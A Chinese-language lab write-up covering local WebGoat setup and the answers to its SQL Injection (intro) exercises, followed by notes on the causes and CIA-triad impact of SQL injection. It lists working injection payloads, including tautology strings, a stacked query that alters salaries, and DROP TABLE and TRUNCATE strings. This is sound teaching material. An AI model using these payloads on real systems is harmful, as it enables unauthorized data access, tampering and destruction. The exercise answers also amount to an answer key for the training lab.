基于 WebGoat 平台的 SQL 注入攻击

扩展功能参考: https://blog.csdn.net/HZC0217/article/details/126790211

使用实例参考: https://www.cnblogs.com/hndreamer/p/16635984.html

1、什么是 webgoat?

2、jar 下载

3、环境搭建

4、运行 webgoat

5、在浏览器中登录

6、SQL 注入实验，完成（A1）Injection 系列实验中的 SQL Injection (intro)部分

7、问题思考

1 、举例说明 SQL 注入攻击发生的原因

2、从信息的 CIA 三要素出发，举例说明 SQL 注入攻击造成的破坏

3、怎样预防和避免 SQL 注入攻击。

1、什么是 webgoat?

一个基于 java 常见漏洞的靶场，非常适合初学者学习。

2、jar 下载

下载地址：https://github.com/WebGoat/WebGoat/releases

这里当靶场用，选 webgoat-server-8.2.2.jar 就够了。webwolf 需要在

webgoat-server-8.2.2.jar 运行的情况下才能正常使用，可以模拟攻击者配合本地

主机对 webgoat 进行攻击。

3、环境搭建

我们需要先安装 java 环境，这里直接进入官网下载即可

https://www.oracle.com/java/technologies/downloads/#jdk18-windows

下载 java jdk 17以上的版本

WIN+R，打开cmd，输入java -version查看电脑中java的版本号

4、运行 webgoat

启动非常简单，只需要通过命令行界面（ Dos 界面）在保存有 “webgoat-server-8.2.2.jar”文件的所在目录

输入java -jar webgoat-server-8.2.2.jar 即可
java -jar webgoat-server-8.2.2.jar

默认的登录地址是 http://127.0.0.1:8080/WebGoat，我们可以在命令提示符窗口看到

5、在浏览器中登录

浏览器输入：http://127.0.0.1:8080/WebGoat

http://127.0.0.1:8080/WebGoat

这里需要用户名和密码，我们直接点击 Register new user 注册一个新用户

注册完毕后登录

6、SQL 注入实验，完成（A1）Injection 系列实验中的 SQL Injection (intro)部分

步骤 9 之前用到的 SQL 命令参考如下：
SELECT department FROM employees WHERE first_name='Bob' AND last_name='Franco'
UPDATE employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett'
ALTER TABLE employees ADD phone varchar(20)
尝试将表 grant_rights 的权限授予用户 unauthorized_user：
GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user

第九题：
Smith' or '1'='1

第十题：
1 
1 or 1=1

第十一题：
name' or '1'='1

第十二题：

再根据题目需要注入sql：
name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+

第十三题：
1';DROP TABLE access_log;--+

7、问题思考

1 、举例说明 SQL 注入攻击发生的原因

当来自客户机的未过滤数据(例如来自搜索字段的输入)进入应用程序本身的SQL解释器时，可能会发生SQL注入。如果应用程序不能正确地消毒用户输入(使用准备好的语句或类似的方法)或针对特殊字符对输入进行过滤，黑客就可以操纵底层SQL语句以达到他们的目的。

例如:

从数据库中检索用户信息的SQL查询如下:

"SELECT * FROM users WHERE name = ' " + userName + " ' ";

（1）输入：
Smith' OR '1' = '1
Sql语句此时为：SELECT * FROM users WHERE name = 'Smith' OR TRUE;

结果将返回users表中的所有条目

（2）输入：
Smith' OR 1 = 1; --
Sql语句此时为：SELECT * FROM users WHERE name = 'Smith' OR TRUE;

结果与第一个示例一样，它也将返回users表中的所有条目

（3）输入：
Smith'; DROP TABLE users; TRUNCATE audit_log; --
Sql语句此时为：SELECT * FROM users WHERE name = 'Smith' OR TRUE;

结果将链接多个sql命令，以便同时DROP users表和从audit_log表中删除所有条目

2、从信息的 CIA 三要素出发，举例说明 SQL 注入攻击造成的破坏

（1）CIA三要素的第一项原则是保密性（Confidentiality）保密性是通过什么样的手段可以保护数据、对象、资源机密性的概念，保密性的目的是限制组织未授权用户访问数据。

例如：使用字符串SQL注入损害机密性。

已知这个系统执行请求的查询语句是这样的：

"SELECT * FROM employees WHERE last_name = ' " + name + " ' AND auth_tan = ' " + auth_tan + " ' ";

利用这个系统，破坏保密性查看到所有人的数据信息，可以这样设置sql注入：

（2）CIA三要素的第二项原则是完整性（Integrity）完整性用来描述保护数据的可靠性和正确性。完整性保证没有未授权的用户修改数据。

例如：用查询链接破坏完整性。

首先获取表内信息

再根据需要，使用查询链接破坏完整性，注入sql，将薪资改为9999999
name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+